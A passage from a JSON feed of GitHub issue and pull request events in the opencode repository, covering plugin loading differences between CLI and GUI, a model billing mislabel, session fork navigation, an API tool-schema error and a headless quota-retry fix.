          "text": "### Description > 🐛 Found a subtle one while testing an opencode plugin: the tool worked in the CLI but > was **missing from the GUI desktop session** — config said registered, runtime said no. > Root cause turned out to be 3 layers deep (extension-less imports → unbundled workspace > dep → **session tool-list is a create-time snapshot**; only a new session picks it up). > Full walkthrough with repro + fixes 👉 > > — drafted by **DeepSeek V4 Flash** (via opencode), assisting a client's plugin > development. Content de-identified before posting. # Feedback: Plugin tool missing in GUI desktop session but present in CLI > A detailed, agent-driven investigation of a plugin-injection discrepancy between the > opencode CLI and the GUI desktop app. Written both as a **bug report** (actionable for > maintainers) and as a **walkthrough** (showing how the issue was isolated layer by layer). --- ## 1. Summary A custom plugin registers a tool (call it `todo-sync`) by exporting a thin shim under `.opencode/plugins/`. The tool was **available in CLI sessions** (`opencode run`) but **absent from the GUI desktop session** (OpenCode.app) — even though `opencode debug agent` reported the tool as registered. Root causes, in three layers: 1. **Extension-less relative imports** in the plugin source (`./loader` instead of `./loader.ts`): tolerated by bun, **rejected by Node** (the GUI desktop loads plugin `.ts` files directly via Node's type-stripping). 2. **Workspace dependency not bundled** into the plugin artifact: the plugin imported a workspace package (`@scope/core`) at `src/...` paths; the built artifact kept an unresolved `import \"@scope/...\"`, which the GUI runtime could not resolve reliably. 3. **Session-scoped tool list snapshot (suspected GUI behavior/bug)**: the GUI session tool list is captured **when the session is created**. After fixing the plugin, the **pre-existing session** still did not show the tool; only a **new session** did. Fixes: add explicit `.ts` extensions, and build a **self-contained JS dist** with the workspace dependency inlined (`tsdown` `noExternal`). Verified in new CLI and GUI sessions. --- ## 2. Environment | Component | Version / Path | |-----------|----------------| | opencode CLI | 1.18.18 (`opencode`) | | opencode GUI | 1.18.18 — `/Applications/OpenCode.app` (Electron 42.3.3) | | Electron builtin Node | **24.15.0** (via `ELECTRON_RUN_AS_NODE=1`) | | System Node | 24.14.0 | | bun | 1.3.14 | | Bundler | tsdown 0.22.14 | | Plugin shim | `.opencode/plugins/<name>.ts` | | Plugin package | workspace-symlinked into `.opencode/node_modules/@scope/plugin` | | Data store | `~/.local/share/opencode/opencode.db` (SQLite) | --- ## 3. Initial symptoms | Context | Observation | |---------|-------------| | CLI (`opencode run` subprocess) | ✅ `todo-sync` callable, `ok:true`, full payload | | GUI desktop main session | ❌ tool **not in tool list** (only `approve` / `ping` / `guard-ping` present) | | `opencode debug agent <agent>` | ✅ reports `todo-sync: true` at the **config layer** | The gap between \"config layer says registered\" and \"runtime session tool list missing\" was the first strong signal. --- ## 4. Investigation walkthrough (layer by layer) ### 4.1 Baseline (what was verified as healthy) - The project CLI helper version within required range. - Plugin source link: `.opencode/node_modules/@scope/plugin` → symlink → plugin source dir. ✅ - `bun build .opencode/plugins/<name>.ts --bundle` succeeded (no stubbed `node:` modules). ✅ - The other plugin tools (`ping`, `approve`, `guard-ping`) were injected in GUI. ✅ → Conclusion: **CLI chain healthy; the problem was isolated to the GUI environment.** ### 4.2 CLI-side scenario tests (S1–S4) - Basic sync → ✅ ok - State transition (pending → completed) → ✅ - Default taskId (latest task discovery, incl. 3-digit ids) → ✅ - The project CLI's `validate` closed loop (\"todo synced to board\") → ✅ → CLI plugin chain fully healthy; focus shifted to **how the GUI loads plugins**. ### 4.3 GUI loading mechanism - `ps aux` → GUI is Electron 42.3.3. - GUI server log (`~/Library/Application Support/ai.opencode.desktop/logs/*/server.log`) showed `MODULE_TYPELESS_PACKAGE_JSON` warnings **only for some shims** (`guard`, `verify-guard`) — **never for the failing plugin** across multiple restarts. - Extracted the app bundle (`npx @electron/asar extract .../app.asar`) and read the server chunk: plugin loading is `PluginLoader.load` → `await import(row.entry)` — i.e. the GUI **directly imports the `.ts` shim via Node**, with no bundling step. - `ELECTRON_RUN_AS_NODE=1 \"<app>/Contents/MacOS/OpenCode\" -e \"console.log(process.versions)\"` → **Electron builtin Node = 24.15.0**. **Key insight:** CLI (bun) and GUI (Electron Node) differ in `.ts` handling: | Host | Loads `.ts` shim via | Tolerates extension-less relative imports | Resolves `src/...` workspace deps | |------|----------------------|:---:|:---:| | CLI / bun | native import | ✅ | ✅ (bundled) | | GUI / Electron Node | `import(row.entry)` + type-stripping | ❌ | ⚠️ unreliable | ### 4.4 Layer 1 — extension-less relative imports Reproduced with Node type-stripping (simulating the GUI loader): ``` $ node --experimental-strip-types -e \"import('./.opencode/plugins/<name>.ts')\" FAIL: Cannot find module '.../src/todo/loader' imported from .../src/todo/opencode.ts ``` Audit showed the failing module used `\"./loader\"` / `\"./parse\"` / `\"./types\"` (no `.ts`), while sibling plugins (`guard/`, `question-tier/`) used `\"./config.ts\"` (with `.ts`) and loaded fine. **Fix 1:** add explicit `.ts` extensions (3 files, 6 lines). Node direct-import passed; CLI did not regress (tests green, `bun build` exit 0). → GUI still missing the tool after restart → moved to the next layer. ### 4.5 Layer 2 — workspace dependency not bundled The plugin imported `@scope/core/src/...` (framework-keywords, trace-light). The plugin package had **no build step** — its `exports` pointed at `src/*.ts`, so the runtime resolved the workspace chain directly. **Fix 2:** add a `tsdown.config.ts` with: - 4 entry points (one per plugin submodule); - `noExternal: [/@scope/]` so the workspace dependency is **inlined** into the artifact; - `exports` repointed to `dist/*/index.mjs`. Verification of the self-contained artifact: - `dist/<name>/index.mjs` contains inlined trace-light (3×) + a local chunk for framework-keywords — **no `from \"@scope/...\"` external reference**. - Node 24.14 and Electron Node 24.15 both import the dist and execute → `ok:true`. - Full `applyPlugin` simulation (readV1Plugin detect → getLegacyPlugins → server()) succeeded for **all 5 shims** under Electron Node. → Code layer fully fixed; still not visible in the **pre-existing GUI session** after restart → moved to the session layer. ### 4.6 Layer 3 — session-scoped tool list snapshot Queried the SQLite store (`opencode.db`, `session` table) and compared session creation time vs. the fix time: | Session | Created | `todo-sync` in tool list | |---------|---------|:---:| | \"current conversation\" (created **before** fix) | 21:18 | ❌ | | new session (after fix) | 22:14+ | ✅ | → **The GUI session tool list is captured when the session is created.** Restarting the GUI and *continuing the old session* does not refresh the tool list; a **new session** picks up the fixed plugin. ### 4.7 Final verification A brand-new session (`opencode run`) and a new GUI session both: - list `todo-sync` in the tool list; - call it successfully → `ok:true`, expected count, latest task id; - push todos to the GUI board (task recorded a `todo-sync` trace event). --- ## 5. Root causes & fixes (summary) | # | Root cause | Fix | Verified | |---|-----------|-----|:---:| | 1 | Extension-less relative imports rejected by Node | Explicit `.ts` extensions | ✅ | | 2 | Workspace dep not bundled → unresolved `@scope/...` at runtime | Self-contained dist via `tsdown` `noExternal` | ✅ | | 3 | GUI session tool list is a create-time snapshot | (workaround) open a **new session** after plugin changes | ✅ | --- ## 6. Recommendations ### 6.1 For plugin developers 1. **Always use explicit file extensions** in relative imports (`.ts`). bun tolerates extension-less imports; Node does not. Treat \"Node direct-load\" as the lowest common denominator. 2. **Ship a self-contained dist** for plugins that depend on workspace packages — inline those deps (`noExternal`) so the runtime never has to resolve the workspace chain. 3. **Validate against the GUI loader**, not only bun: simulate with `ELECTRON_RUN_AS_NODE=1 \"<app>/Contents/MacOS/OpenCode\"` + `import()` of the shim. ### 6.2 For opencode maintainers (suspected behavior/bug) - **Session tool list snapshot**: after a plugin (or its deps) changes, a pre-existing session still shows the old tool list — even after the app is restarted and the session is resumed. It would be very helpful if the session tool list were **refreshed on plugin change** (or re-injected on session resume), instead of captured at creation. - Diagnostic hints that helped us: - `opencode debug agent <agent>` shows the config-layer declaration; - GUI `server.log` `MODULE_TYPELESS` warnings reveal which shims Node actually loads; - SQLite `session.time_created` vs. plugin-change time distinguishes \"stale session\" from \"plugin not loaded\". ### 6.3 On agent-driven debugging (why the report is this detailed) This investigation was driven by an AI coding agent (ABC-style workflow, human sets direction + accepts results). Highlights of the approach: - **Layered isolation**: CLI vs GUI, config layer vs runtime, code vs session. - **Environment parity**: obtained the GUI's exact Node via `ELECTRON_RUN_AS_NODE` to reproduce outside the app. - **Source-level ground truth**: extracted the app bundle to confirm the loading path instead of guessing. - **Data-driven session analysis**: used the SQLite store to timestamp sessions and discriminate \"stale snapshot\" from \"load failure\". Human guidance at two key points (check whether the workspace dep is bundled; suspect the session layer) directly hit two of the three root causes — pairing an agent that isolates fast with a human who points at the right layers converged in ~1 hour of wall time. --- ## 7. Reproduction steps (for maintainers) 1. Create a plugin shim in `.opencode/plugins/<name>.ts` whose source uses **extension-less relative imports** and imports a **workspace package** at `src/...` paths. 2. Run in CLI → tool works. 3. Open in the GUI desktop → tool missing from the session tool list; `server.log` shows no load warning for that shim. 4. Fix: add `.ts` extensions + build self-contained dist; restart the app; **continue the old session** → tool still missing; **open a new session** → tool appears and works. ## 8. Expected behavior - Plugin changes should be visible in a resumed session (refresh or re-inject), or at minimum be documented clearly so developers know a new session is required. - Plugins should be loadable with a consistent minimal baseline across CLI (bun) and GUI (Electron Node) runtimes. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42343",
          "createdAt": "2026-08-13T15:01:15Z",
          "updatedAt": "2026-08-13T15:02:48Z",
          "timestamp": "2026-08-13T15:02:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "zysam",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:aa0e3ff22e72979a8a24",
        "signalId": "github:anomalyco/opencode:pull_request:42313",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42313",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: fix package manager code blocks",
          "text": "## Summary - replace hand-written install tabs with Blume's formatter-safe `CodeGroup` - combine npm, bun, pnpm, Yarn, and curl into one install selector with npm first - keep package manager labels separate from the `bash` syntax language - prevent the repository generation/formatting workflow from collapsing fences and reintroducing `bash` as command text ## Checks - `./script/generate.ts` (source remains unchanged after generation and formatting) - `bun node_modules/.bin/blume check` - `bun node_modules/.bin/blume validate` - `bun node_modules/.bin/blume build` - `bun script/prepare-cloudflare.ts` Requested by: @kitlangton (Kit Langton via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42313",
          "createdAt": "2026-08-13T12:22:47Z",
          "updatedAt": "2026-08-13T14:57:48Z",
          "timestamp": "2026-08-13T14:57:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:70f74b0fcaba9cc8be85",
        "signalId": "github:anomalyco/opencode:issue:42342",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42342",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Bug] OpenCode Go bills gpt-5.6-terra requests as gpt-5.6-luna (Codex Memories background jobs)",
          "text": "### Description Using the OpenCode Go plan as the provider for OpenAI Codex desktop (`model_provider = \"opencode-go\"`, `base_url = https://opencode.ai/zen/go/v1`, `wire_api = responses`, main model `deepseek-v4-flash`), Codex's built-in **Memories** feature runs background jobs (`memory_stage1`, `memory_consolidate_global`) after each session. Those jobs POST `{\"model\": \"gpt-5.6-terra\", ...}` (`reasoning_effort=medium`) to `/responses` with cwd `~/.codex/memories`. On the OpenCode workspace usage page, these requests are billed/displayed as **`gpt-5.6-luna (go)`** — a model the user never selected and that never appears as a request anywhere in the local Codex logs (zero `gpt-5.6-luna` requests locally). So the gateway is either silently substituting/renaming the model, or the usage page is mislabeling it, and the result is charges the user cannot attribute to anything they did. Examples from today (Asia/Shanghai, all from local `memory_stage1` / `memory_consolidate_global` jobs whose request log shows `model=gpt-5.6-terra`): - 21:17 — `gpt-5.6-luna (go)` $0.0496 (stage-1 summary job) - 22:26 — `gpt-5.6-luna (go)` 612,201 in / 3,956 out, $0.2826 (global memory consolidation) Local Codex request log (`~/.codex/logs_2.sqlite`): `POST to https://opencode.ai/zen/go/v1/responses: {\"model\":\"gpt-5.6-terra\", ...}` ### Plugins None relevant (plain Codex desktop + opencode-go provider). ### OpenCode version Go plan gateway (opencode.ai/zen/go/v1); usage page opencode.ai/workspace/.../usage. ### Steps to reproduce 1. Subscribe to OpenCode Go; configure Codex desktop with `model_provider = \"opencode-go\"` (zen/go/v1, responses API), main model `deepseek-v4-flash`. 2. Keep Codex Memories enabled (`~/.codex/config.toml`: `[memories] generate_memories = true`). 3. Finish a Codex session (triggers `memory_stage1`) and let global consolidation (`memory_consolidate_global`) run. 4. Open the workspace usage page → new records appear under `gpt-5.6-luna (go)`. 5. Check local Codex logs → requests were sent with `model=gpt-5.6-terra`; no `gpt-5.6-luna` request exists locally. ### Screenshot and/or share link Can share usage-page screenshots and log excerpts on request. ### Operating System Windows 11 x64 ### Terminal Codex Desktop (26.803.81509) / Codex CLI 0.147.0-alpha ### Expected behavior - Either `gpt-5.6-terra` is available on the Go plan and is billed/displayed as `gpt-5.6-terra`, or the gateway rejects it (4xx) instead of silently executing and billing a different model (`gpt-5.6-luna`). - The usage page should show the actual requested/billed model so users can trace unexpected charges. - Ideally, server-side enforcement (per-key model allowlist/blocklist) so hardcoded client-side model usage like this can be stopped without changing the client (related to #41697, which covers the disable-toggle gap for `gpt-5.6-luna`; this report adds the distinct **model substitution** behavior and the Codex **Memories** background caller). Happy to provide workspace/session details to maintainers for debugging.",
          "url": "https://github.com/anomalyco/opencode/issues/42342",
          "createdAt": "2026-08-13T14:50:10Z",
          "updatedAt": "2026-08-13T14:51:16Z",
          "timestamp": "2026-08-13T14:51:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "liangjie78",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:a7aeca5a6e64a19b51ba",
        "signalId": "github:anomalyco/opencode:issue:42336",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42336",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "customize-opencode skill has missing global config location",
          "text": "### Description By using /customize-opencode skill, the AI agents always miss out on opencode.jsonc file for configuring opencode configurations such as MCPs, skills, etc. on both user and project folder level and agents just assume that config file is missing and proceed with creating a new one. ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce Drop a prompt \"Use /customize-opencode and configure Playwright MCP user-level\" ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42336",
          "createdAt": "2026-08-13T14:23:27Z",
          "updatedAt": "2026-08-13T14:51:05Z",
          "timestamp": "2026-08-13T14:51:05Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "TechyAditya",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:c82fbbed1bc2135ccddf",
        "signalId": "github:anomalyco/opencode:pull_request:42243",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42243",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): list default agent first",
          "text": "## Summary - order the resolved default agent first in agent list responses - preserve the existing order of all remaining agents - cover configured-default ordering in the core agent service ## Checks - `bun test test/agent.test.ts` (packages/core) - `bun typecheck` (packages/core) Requested by: @thdxr (Dax Raad via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42243",
          "createdAt": "2026-08-13T04:56:35Z",
          "updatedAt": "2026-08-13T14:50:22Z",
          "timestamp": "2026-08-13T14:50:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "thdxr"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:896ae877785fb0937a57",
        "signalId": "github:anomalyco/opencode:issue:42341",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42341",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Forked parent session opens original child session, so Back returns to original parent",
          "text": "## Summary When a session with a task/subagent child is forked, the forked parent still points at the original child session. Entering that child from the fork and clicking \"back to parent\" returns to the original parent session instead of the forked parent. ## Reproduction 1. Start a parent session `S1`. 2. Have it call the `task` tool / a subagent, producing child session `C`. 3. Fork `S1`, producing `S2`. 4. In `S2`, click/open the task's child session. 5. In the child session, click the UI action to return to the parent/main session. ## Expected behavior The child reached from `S2` should return to `S2`, or the fork should create/repoint a fork-local child session whose `parentID` is `S2`. ## Actual behavior The child returns to `S1`. ## Root cause from code reading The child session's parent link is written only when the task creates the subagent session: - `packages/opencode/src/tool/task.ts`: `sessions.create({ parentID: ctx.sessionID, ... })` So if the task ran in `S1`, child `C` permanently has `parentID = S1`. Session fork then copies only messages/parts into a new root session: - `packages/opencode/src/session/session.ts`: `fork()` creates a new session without a `parentID`, then copies messages and parts. - It does not clone child sessions. - It does not rewrite copied task part metadata such as `metadata.sessionId` to point at a fork-local child. The web UI's parent navigation reads the stored child parent directly: - `packages/app/src/pages/session.tsx`: `openParent` navigates to `info()?.parentID`. - `packages/app/src/pages/session/composer/session-composer-region-controller.ts`: child/back state also comes from `sync().session.get(id)?.parentID`. Because the child reached from the fork is still the original child `C`, `C.parentID` is still `S1`, so Back navigates to `S1`. ## Notes This is related to session hierarchy/forking, but I did not find an existing issue for this exact fork-local child lineage bug. Related but different issues/PRs: - #16639 requests allowing `parentID` when forking sessions. - #15972 / #15993 / #23365 cover TUI nested subagent navigation, not web/app forked-parent child lineage. A UI-only history workaround would make Back appear to work for one navigation path, but the underlying data would still be inconsistent after refresh/deep-link/multiple entry points. The durable fix seems to be in `Session.fork`: clone/re-fork task child sessions reachable from copied task parts and rewrite the copied task part metadata to point at those fork-local children with `parentID = forkedSession.id`.",
          "url": "https://github.com/anomalyco/opencode/issues/42341",
          "createdAt": "2026-08-13T14:47:42Z",
          "updatedAt": "2026-08-13T14:48:48Z",
          "timestamp": "2026-08-13T14:48:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "ton618to",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:054f0d2bb4380d5a8de2",
        "signalId": "github:anomalyco/opencode:issue:42090",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42090",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[OpenCode Go] deepseek-v4-pro via Responses API: 400 tools[N].function missing field 'name' (web_search tool rejected)",
          "text": "### Summary `deepseek-v4-pro` via OpenCode Go (`https://opencode.ai/zen/go/v1`, Responses API) returns HTTP 400 from Codex: ``` Error from provider (Console Go): Upstream request failed: [invalid_request_error] Failed to deserialize the JSON body into the target type: tools[8].function: missing field `name` ``` The same setup works with `deepseek-v4-flash`, and works with `deepseek-v4-pro` when using the DeepSeek official API directly. ### Environment - Client: OpenAI Codex CLI 0.147.0 (`wire_api = responses`) - Provider base URL: `https://opencode.ai/zen/go/v1` - Model: `deepseek-v4-pro` - Reasoning effort: high / max ### Root cause (confirmed by capturing the actual request) I captured the exact request body sent by Codex through a local proxy. `tools[8]` is: ```json {\"type\": \"web_search\", \"external_web_access\": {...}} ``` Per the OpenAI Responses API spec, a `web_search` tool is a non-function tool and has **no `name` field**. The Console Go upstream appears to parse every tool as a function tool and requires `function.name`, hence: ``` tools[8].function: missing field `name` ``` This is the same root cause described in PR #40210 (\"toOaCompatibleRequest mapped every tool into {\"type\":\"function\",\"function\":{...}}, producing an undefined name that upstream serde rejects ... 400ing the whole request\"). It seems that fix is not yet effective on the `/v1/responses` path for `deepseek-v4-pro` (tested 2026-08-13, still 400). ### Expected behavior Non-function tools such as `web_search` should either be accepted as-is (with no `function.name` requirement) or filtered out when converting to the upstream chat-completions format, while function tools keep their nested `function.name` (as PR #40210 states). ### Repro 1. Configure Codex with `model = \"deepseek-v4-pro\"`, `base_url = \"https://opencode.ai/zen/go/v1\"`, `wire_api = \"responses\"`. 2. Run any tool-enabled request (e.g. `codex exec \"Reply OK\"`). 3. Observe the 400 above. Flash model on the same config succeeds. ### Related - #24224, #24344, #27047, #34331 - PR #40210",
          "url": "https://github.com/anomalyco/opencode/issues/42090",
          "createdAt": "2026-08-12T17:10:41Z",
          "updatedAt": "2026-08-13T14:46:36Z",
          "timestamp": "2026-08-13T14:46:36Z",
          "metrics": {
            "reactions": 1,
            "comments": 6
          },
          "labels": [],
          "author": "Seegin",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f4186cb167871764bbe8",
        "signalId": "github:anomalyco/opencode:issue:14212",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:14212",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Support more DBMS' for OpenCode state storage",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Migration to Drizzle for session storage/state has opened the door to enabling support for other DBMS' (e.g. postgres). We run opencode on temporary infrastructure, this would enable our opencode data to be easily queried when offline or when migrating between hosts.",
          "url": "https://github.com/anomalyco/opencode/issues/14212",
          "createdAt": "2026-02-19T00:07:07Z",
          "updatedAt": "2026-08-13T14:43:37Z",
          "timestamp": "2026-08-13T14:43:37Z",
          "metrics": {
            "reactions": 24,
            "comments": 14
          },
          "labels": [],
          "author": "matthewijordan",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:7bbedcdeeecf394adf82",
        "signalId": "github:anomalyco/opencode:pull_request:42340",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42340",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): stop `run` from sleeping through an exhausted quota",
          "text": "### Issue for this PR Closes #40747 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `opencode run` produces no output and never returns when a model's quota is exhausted. It isn't wedged, it's sleeping. The quota error is classified as retryable, and `delay()` honors the provider's `retry-after`, which for a monthly limit is days. While the schedule sleeps `halt()` never runs, so no `session.error` and no `idle` are published, and `loop()` in `cli/cmd/run.ts` breaks only on `idle` and has no branch for `retry` status. The TUI is unaffected because it shows the retry in its footer; a headless run has nowhere to show it. I left the retry timing alone — honoring long `retry-after` values was deliberate in 0a2d7af17, and waiting out a short rate limit is useful. Only the non-interactive loop changes: - print the retry status, which today prints nothing at all in headless runs - exit non-zero when `action.reason` is `free_tier_limit` / `account_rate_limit`; transient retries (429/5xx) carry no `action.reason` and still wait and retry as before - abort the session before returning, because breaking out of the loop isn't enough to end the process — the sleeping schedule holds the in-process server open, and without the abort the CLI has decided to stop but still has to be killed ### How did you verify your code works? New test in `test/cli/run/run-process.test.ts`: the test provider returns a 429 carrying `GoUsageLimitError` with `retry-after: 345600`, and the run must exit non-zero and mention the limit on stderr. On unmodified `dev` it hangs until the harness kills it at 30 s; with this change it passes in ~2 s. Setting that header needed an optional `headers` argument on `httpError()` / `llm.error()` in the test harness — `retry-after` drives the delay and there was no way to set it before. `bun test test/session/retry.test.ts test/cli/run/` → 250 pass, 5 skip, 0 fail. `tsc --noEmit` → matches the `dev` baseline (12 pre-existing errors in `packages/tui`). ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42340",
          "createdAt": "2026-08-13T14:42:25Z",
          "updatedAt": "2026-08-13T14:42:25Z",
          "timestamp": "2026-08-13T14:42:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "DaisukeYoda",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:35854821c0249157d9a8",
        "signalId": "github:anomalyco/opencode:issue:18694",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:18694",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TypeScript LSP server is not used if package.json is in a sub-directory",
          "text": "### Description Hello. I've a Go+React TypeScript project. The front-end code in TypeScript is located in a `/web` subdir of a repo. If I run opencode in a root dir of the repo, it doesn't use TypeScript language as `package.json` and `node_modules` are located in the `web` sub directory. At the moment, the only way to workaround this is to start `opencode` in `web` subdirectory. This creates a problem when I have a task where I need to operate on both backend (Go) and frontend (TS) code. ### Plugins n/a ### OpenCode version 1.2.27 ### Steps to reproduce 1. Clone the repo: https://github.com/x1unix/go-playground 2. Install yarn dependencies in the `web` subdirectory. 3. Run `opencode` on a prompt which should grep both Go and TypeScript files 4. Check that opencode can start gopls but doesn't start TypeScript language server 5. Shut down opencode, run `cd web && opencode` and do some queries 6. Check that typescript lsp is started when inside `web` dir. ### Screenshot and/or share link **`opencode` is ran at the root, only `gopls` is called:** <img width=\"1274\" height=\"2113\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/70ebea63-ba34-4c8f-b7b9-d47f01afe51c\" /> **`opencode` executed at `/web` subdirectory near `node_modules` and `package.json`, TS LSP is running:** <img width=\"1274\" height=\"2113\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/619db36f-a96e-478d-ab0d-fb3050efa957\" /> ### Operating System Arch ### Terminal kitty",
          "url": "https://github.com/anomalyco/opencode/issues/18694",
          "createdAt": "2026-03-23T02:29:31Z",
          "updatedAt": "2026-08-13T14:40:43Z",
          "timestamp": "2026-08-13T14:40:43Z",
          "metrics": {
            "reactions": 13,
            "comments": 6
          },
          "labels": [],
          "author": "x1unix",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:6d2f88c6e4061aa76fa7",
        "signalId": "github:anomalyco/opencode:issue:42338",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42338",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: slot render returning plain string crashes with \"Orphan text error\"; @opentui/* unimportable in plugins",
          "text": "## Summary TUI crashes with `Orphan text error: \"<string>\" must have a <text> as a parent` when a TUI plugin slot (`sidebar.content`) returns a plain string from `render()`. Plugins are effectively forced to return plain strings because importing `@opentui/*` inside a TUI plugin fails on `next-17403` with `OPENTUI_FORCE_WCWIDTH already registered with different configuration` (host bug). ## Environment - opencode version: 0.0.0-next-17403 (next channel) - OS: Linux 5.15.0-1081-oracle #87~20.04.1-Ubuntu SMP Mon Apr 28 12:53:11 UTC 2025 (aarch64 / arm64) - Terminal: VS Code 1.133.0 (`TERM=xterm-256color`, truecolor) - Shell: /bin/bash - Install/channel: next (via `~/.opencode/bin/opencode2`) - Active plugins: `usage-tracker.js` (server), `usage-tracker-tui.js` (local TUI plugin at `~/.config/opencode/tui/usage-tracker-tui.js`) ## Reproduction 1. Register a TUI plugin claiming the sidebar slot whose `render` returns a plain string: ```js import { Plugin } from \"@opencode-ai/plugin/tui\"; export default Plugin.define({ id: \"plain-string-slot\", setup: (ctx) => { const claim = ctx.ui.slot({ append: \"sidebar.content\", render: () => \"Usage\\nin 545.3k out 125.8k\\nre 129.7k cache 139.8M/0\\nhit 100% cost $0.2697\\ntotal 140.6M steps 68\", }); return () => claim(); }, }); ``` 2. Open the TUI, navigate to a session view with the sidebar rendered. 3. TUI crashes: `Orphan text error: \"Usage\\nin 545.3k ...\" must have a <text> as a parent: box-318 above text-node-554`. ## Expected Behavior Either of: - A plain string returned from a slot `render()` is wrapped in a `<text>` node by the host (so strings are a valid slot payload), **or** - `@opentui/*` is importable from TUI plugin code so plugins can return proper element trees. Neither path should crash the TUI. The crash takes down the whole terminal UI, not just the slot. ## Actual Behavior Full TUI crash with the orphan-text error. Stack trace: ``` Error: Orphan text error: \"Usage in 545.3k out 125.8k re 129.7k cache 139.8M/0 hit 100% cost $0.2697 total 140.6M steps 68\" must have a <text> as a parent: box-318 above text-node-554 at w$ (../../node_modules/.bun/@opentui+solid@0.5.2+b9027845aeff97b0/node_modules/@opentui/solid/index.bun.js:559:17) at N (../../node_modules/.bun/@opentui+solid@0.5.2+b9027845aeff97b0/node_modules/@opentui/solid/index.bun.js:442:7) at P (../../node_modules/.bun/@opentui+solid@0.5.2+b9027845aeff97b0/node_modules/@opentui/solid/index.bun.js:311:13) ... at children (../tui/src/routes/session/sidebar.tsx:66:7) ... at children 